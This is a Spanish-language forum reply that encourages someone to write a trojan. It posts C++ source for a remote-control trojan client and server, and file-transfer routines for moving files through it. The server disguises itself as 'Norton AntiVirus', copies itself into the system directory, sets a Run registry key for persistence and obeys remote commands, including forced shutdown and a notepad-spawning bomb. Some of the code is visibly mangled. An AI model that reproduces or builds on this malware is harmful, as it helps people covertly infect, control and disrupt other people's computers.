Mira en realidad en cualquier lenguaje lo podes programar pero lo que podes hacer es leerte un poquito sobre C C# C++ para hacerlo y que no sea un simple troyano lo que si deberias entender bien es el manejo no solo de comandos sino entender un poquito como funciona el windows y su sistema de 32 bits asi podras hacer algo muy bueno y aparte te recomiendo que te leas sobre sendmail si queres darle opciones de envio de info por mail y aprende bien el manejo de los sockets te dejo uno

Client
Code Sample
#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;
SOCKET Socket;
int ClientInitialize()
{
char IP[MAX_PATH];
cout << "Enter IP: ";
cin >> IP;
WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << "Error at WSAStartup()\n";
cin.ignore();
return 0;
}
else
{
cout << "Winsock intialized.\n";
}
Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << "Error at socket(): %ld\n",WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Socket initialized" << "\n";
}
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);
if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << "Failed to connect.\n";
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Connected to server." << "\n";
}
}
int exit()
{
return 0;
}
void Send()
{
for(;

{
char Choice[MAX_PATH];
cout << "List of commands:" << "\n";
cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
cout << "3. Open\\Close CD Tray" << "\n" << "4. Notepad Bomb" << "\n";
cout << "5. Shutdown." << "\n";
cout << "Take your pick: ";
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
cout << "\n" << "\n" << "\n" << "\n" << "\n";
Sleep(2000);
}
}
int main()
{
SetConsoleTitle(".=.quickbolt's Trojan.=.");
ClientInitialize();
Send();
cin.ignore();
return 0;
}
Server
Code Sample
#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;
char Windir[MAX_PATH];
char Module[MAX_PATH];
SOCKET Socket;
void Hide()
{
SetConsoleTitle("Norton AntiVirus");
hide = FindWindow(NULL, "Norton AntiVirus");
ShowWindow(hide, 0);
}
void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, "\\WindowsAPICalls.exe");
}
void Install()
{
CopyFile(Module,Windir,0);
HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}
int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Winsock initialized." << "\n";
}
Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Socket created." << "\n";
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);
if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}
else
{
cout << "Socket bound successfully." << "\n";
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << "Error listening on socket." << "\n";
SOCKET AcceptSocket;
cout << "Waiting for a client to connect..." << "\n";
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << "Client Connected."<< "\n";
Socket = AcceptSocket;
}
void Shutdown()
{
char Message[MAX_PATH]="Your computer is infected with a malicious virus!";
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
void OpenCloseCDTray()
{
mciSendString("set cdaudio door open", 0, 0, 0);
mciSendString("set cdaudio door open", 0, 0, 0);
}
void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]="notepad.exe";
for(;

{
ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
}
}
void LeftMouse()
{
SwapMouseButton(true);
}
void RightMouse()
{
SwapMouseButton(false);
}
void Receive()
{
for(;

{
char Choice[MAX_PATH]="";
cout << "Waiting for commands, sir!" << "\n";
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << "\n";
if (!strcmp(Choice,"1"))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,"2"))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,"3"))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={"CD Tray opened. Closed if not on a laptop."};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,"4"))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}
int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}
Considerando agregar a GUI.. #pragma comment(lib,ws2_32.lib) o cualquier VC++, pero tambien lo puedes hacer como un proyecto en dev-c++: Project Options -> Parameters -> Add Library or Object -> C:\Dev-Cpp\lib\libws2_32.a
Ahi tenes el fuente del server y el cliente

libwinmm.a in dev-cpp o #pragma comment(lib,winmm.lib) o cualquiera en VC++ eso es para abrir y cerrar la lectora de cd.
ftp-server
QUOTE
void download(SOCKET &downloadSocket)
{
HANDLE filehandle;
char moveBuffer[1100];
char sNumRead[3];
unsigned long numRead; //real size in ul returned by ReadFile
int j=3, err, counter=0; //j is the length of the size of buffer size:100
//get the file handle for downloading
filehandle=CreateFile(
loadDir,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (filehandle==INVALID_HANDLE_VALUE){
printf("in READHANDLE error: %d.\n", GetLastError);
exit(1);
}
// loop to send buffer by buffer of file piece
do {
err=ReadFile(
filehandle,
moveBuffer,
100,
&numRead,
NULL);
if (err==NULL){
printf("in ReadFile error: %d.\n", GetLastError);
exit(3);
}
_ultoa(numRead, sNumRead, 10); // convert ul to char[]
err=send(downloadSocket, sNumRead, j,0);// send number(char[]) of bytes read
if (err==SOCKET_ERROR) {
printf("In send numRead, Client error: %d\n",WSAGetLastError());
exit(10);
}
if (numRead!=0) {
err=send(downloadSocket, moveBuffer, numRead,0);// send buffer
if (err==SOCKET_ERROR) {
printf("In send moveBuffer, Client error: %d\n",WSAGetLastError());
exit(11);
}
counter=counter+(int)numRead;
}
}while(numRead!=0); // read and send until there is nothing in the file
printf("\nThread: %d\n", ThreadID);
printf("Total amount of bytes transfered: %d\n", counter);
//download finished, close the file handle
err=CloseHandle(filehandle);
if (err==NULL){
printf("in close filehandle error: %d.", GetLastError);
exit(4);
}
}
Aqui para subir y bajar archivos o sea el upload con el metodo ftp
FTP-CLIENT CODE:
QUOTE
void download(SOCKET &downloadSocket)
{
HANDLE writetofile;
char moveBuffer[1100];
char sNumRead[3], *stopString; // for converting from char[] to ul
unsigned long numRead, numWritten;
int j=3, counter=0, err;
double i;
writetofile=CreateFile(
loadDir,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (writetofile==INVALID_HANDLE_VALUE) {
printf("in WRITEHANDLE error: %d.\n", GetLastError);
exit(2);
}
//=========================================
do{
// recv how long the next buffer is
err=recv(downloadSocket,sNumRead, j,0);
if (err==SOCKET_ERROR) {
printf("In recv numRead, THREAD Error: %d\n",WSAGetLastError());
getchar();
exit(6);
}
i=strtod(sNumRead, &stopString);
numRead = strtoul( sNumRead, &stopString, 10 );
if (numRead!=0) {
// recv buffer from the server
err=recv(downloadSocket, moveBuffer, numRead,0);
if (err==SOCKET_ERROR) {
printf("In recv numRead, THREAD Error: %d\n",WSAGetLastError());
getchar();
exit(7);
}
// write buffer to the local file
err=WriteFile(
writetofile,
moveBuffer,
numRead,
&numWritten,
NULL);
if (err==NULL){
printf("in WriteFile error: %d.", GetLastError);
exit(3);
}
counter=counter+(int)numWritten;
}
}while( numRead!=0);
printf("Total number of bytes received: %d\n", counter);
err=CloseHandle(writetofile);
if (err==NULL){
printf("in close writetohandle error: %d.", GetLastError);
exit(5);
}
}
Y ahi el cliente

leete este fuente y analizalo o empezatelo a estudiar te ayudara mucho por que es C++ y no tiene nada de dificil ........saludos